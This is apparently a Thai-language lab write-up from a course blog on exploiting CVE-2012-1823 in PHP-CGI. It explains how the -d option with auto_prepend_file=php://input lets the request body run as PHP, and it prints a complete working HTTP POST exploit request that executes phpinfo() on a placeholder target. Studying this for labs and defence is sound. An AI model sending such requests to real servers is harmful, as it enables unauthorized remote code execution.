CVE-2012-1823 [PHP-CGI] #2

CVE-2012-1823 [PHP-CGI] #2
จาก lab cve-2012-1823-1 เราจะพบว่าเราสามารถใช้งานคำสั่ง php-cgi ได้ โดยใน lab นี้จะแตกต่างจากเดิมคือการโจมตีในลักษณะของ remote code execution ซึ่งเราจะใช้ option เป็น -d ซึ่ง -d option ของ php-cgi คือการอนุญาตให้เราสามารถแก้ไข php configuration ผ่าน parameter ที่นำเข้า php-cgi ไม่ได้ โดยเมื่อเราใช้ option -d แล้วให้เรากำหนด php configuration เพิ่มเติมเป็น auto_prepend_file ซึ่งหมายถึง feature ที่ทำให้เราสามารถกำหนดชื่อของไฟล์ที่จะถูกนำไปใช้งานก่อน file ที่เรา request หรืออธิบายให้เข้าใจง่ายๆก็คือ หากเราทำการ request ไปยัง page ใดๆ เราสามารถกำหนดไฟล์ที่ต้องการจะให้โหลดก่อนไฟล์นั้นๆได้นั่นเอง ทีนี้เราต้องการให้ชื่อไฟล์ที่โหลดคือ php://input ซึ่ง php://input หมายถึง HTTP request body ทั้งก้อน นั่นหมายความว่าหากเรากำหนดให้ auto_prepend_file=php://input จะกลายเป็นว่าเราสามารถนำ HTTP request body ไปเป็น input นั่นเอง ทีนี้โดยปกติ php นั้นจะไม่อนุญาตให้เราใช้งาน URL เป็น input ดังนั้นให้เรากำหนด allow_url_include=1 ไปด้วยเพื่อ enable feature ให้สามารถรับค่าด้วย php://input ได้ ดังนั้นสุดท้ายแล้ว request การโจมตีของเราจะเป็น
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: <TARGET IP>:<TARGET PORT>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 19

<?php phpinfo(); ?>
ผลลัพธ์ที่ได้คือเราจะสั่งให้เพจนั้นๆรัน phpinfo() นั่นเอง
course-5-201905145458afB2kwNovQyz.png

Comments

Popular Posts